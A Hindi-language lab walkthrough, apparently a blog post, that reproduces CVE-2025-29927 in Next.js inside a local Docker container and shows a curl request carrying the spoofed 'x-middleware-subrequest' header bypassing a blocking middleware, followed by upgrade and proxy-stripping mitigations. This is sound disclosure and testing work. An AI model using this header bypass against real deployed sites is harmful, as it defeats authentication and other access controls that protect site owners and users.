
CVE-2025-29927 के लिए एक प्रमाण अवधारणा जो Next.js के 13.5.9 से पहले के संस्करणों में मिडलवेयर बाईपास का प्रदर्शन करती है
CVE-2025-29927 एक मिडलवेयर बाईपास कमज़ोरी है जो Next.js संस्करण 1.11.4 और संस्करण 12.3.5, 13.5.9, 14.2.25, और 15.2.3 से पहले के संस्करणों में पाई गई है। यह एक बाहरी हमलावर को सुरक्षा तर्क—जैसे प्रमाणीकरण, बॉट पहचान, या भू-स्थान पुनर्निर्देशन—को छोड़ने की अनुमति देता है, जिसे डेवलपर ने अपनी middleware.ts फ़ाइल में लागू किया है।
Next.js अपने विभिन्न आर्किटेक्चरल परतों के बीच संचार के लिए आंतरिक HTTP हेडर का उपयोग करता है। इन हेडर में से एक x-middleware-subrequest है।
यह कमज़ोरी इसलिए मौजूद है क्योंकि Next.js के असुरक्षित संस्करण इस हेडर पर भी भरोसा करते हैं जब इसे बाहरी क्लाइंट (जैसे ब्राउज़र या curl) द्वारा भेजा जाता है। जब सर्वर इस हेडर को देखता है, तो वह मान लेता है कि अनुरोध पहले ही मिडलवेयर द्वारा संसाधित और "क्लियर" किया जा चुका है, इसलिए वह आपके सुरक्षा कोड के निष्पादन को पूरी तरह से छोड़ देता है।
यह लैब एक Node:18-alpine डॉकर कंटेनर के अंदर चल रहा है ताकि एक साफ और पुनरुत्पादनीय वातावरण सुनिश्चित हो सके।
हम पृष्ठभूमि में एक नामित कंटेनर चालू करके शुरू करते हैं। हम कॉन्फ़िगरेशन के दौरान कंटेनर को जीवित रखने के लिए sleep infinity का उपयोग करते हैं।
मुझे शुरू में बाद के चरणों में अपने कंटेनर को पुनरारंभ करने में कुछ समस्याएं आईं, इसलिए मैंने sleep infinity का निर्णय लिया।
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
हम Next.js का विशिष्ट असुरक्षित संस्करण स्थापित करते हैं। ध्यान दें कि --src-dir false फ्लैग के बावजूद, फ्रेमवर्क एक src निर्देशिका बनाता है, जहां हमें अपना मिडलवेयर रखना होता है ताकि वह सक्रिय हो सके।
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
एक सुरक्षा अवरोध का अनुकरण करने के लिए, हम एक middleware.ts फ़ाइल बनाते हैं। यह मिडलवेयर सभी आने वाले अनुरोधों को 401 अनधिकृत स्थिति के साथ ब्लॉक करने के लिए कॉन्फ़िगर किया गया है।
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh
# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
डेवलपमेंट सर्वर प्रारंभ करें और कंसोल में ✓ Ready सिग्नल की प्रतीक्षा करें।
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
अपनी होस्ट मशीन पर curl का उपयोग करके वातावरण का परीक्षण करने के लिए एक नई टर्मिनल विंडो खोलें (पिछले टर्मिनल को बंद न करें)।
बिना संशोधित हेडर वाला एक मानक अनुरोध हमारे मिडलवेयर द्वारा सही ढंग से पकड़ा और अवरुद्ध किया जाता है।
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized
आंतरिक हेडर x-middleware-subrequest: src/middleware इंजेक्ट करके, हम Next.js को यह विश्वास दिलाते हैं कि अनुरोध पहले ही एक आंतरिक प्रक्रिया द्वारा सत्यापित किया जा चुका है। सर्वर मिडलवेयर निष्पादन को छोड़ देता है और पूर्ण पहुंच प्रदान करता है।
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
अपने एप्लिकेशन को CVE-2025-29927 से बचाने के लिए, आपको Next.js को अपने वर्तमान प्रमुख रिलीज़ के अनुरूप पैच किए गए संस्करण में अपग्रेड करना चाहिए:
कमज़ोरी निम्नलिखित संस्करणों में हल की गई है। सुनिश्चित करें कि आपका package.json कम से कम इन संस्करणों को दर्शाता है:
# Example for updating to the latest patched version
npm install next@latest
यदि तत्काल अपग्रेड संभव नहीं है, तो आपको अपने वेब एप्लिकेशन फ़ायरवॉल (WAF) या रिवर्स प्रॉक्सी (जैसे Nginx, Cloudflare, या Varnish) को कॉन्फ़िगर करना चाहिए कि वह Next.js एप्लिकेशन सर्वर तक पहुंचने से पहले सभी आने वाले बाहरी अनुरोधों से x-middleware-subrequest हेडर को हटा या छोड़ दे।
अपग्रेड करने के बाद, आप चरण 5 से शोषण कमांड को फिर से चलाकर फिक्स को सत्यापित कर सकते हैं। एक पैच किया गया सर्वर जब स्पूफ़ किया गया हेडर मौजूद होगा तो अब 200 OK नहीं देगा।
यह कमज़ोरी इसलिए मौजूद है क्योंकि Next.js आंतरिक उप-अनुरोधों की पहचान करने के लिए क्लाइंट-साइड हेडर पर भरोसा करता है। इसे कम करने के लिए, Next.js को एक ऐसे संस्करण में अपडेट किया जाना चाहिए जो बाहरी आने वाले ट्रैफ़िक से इन आंतरिक हेडर को ठीक से मान्य या हटा दे।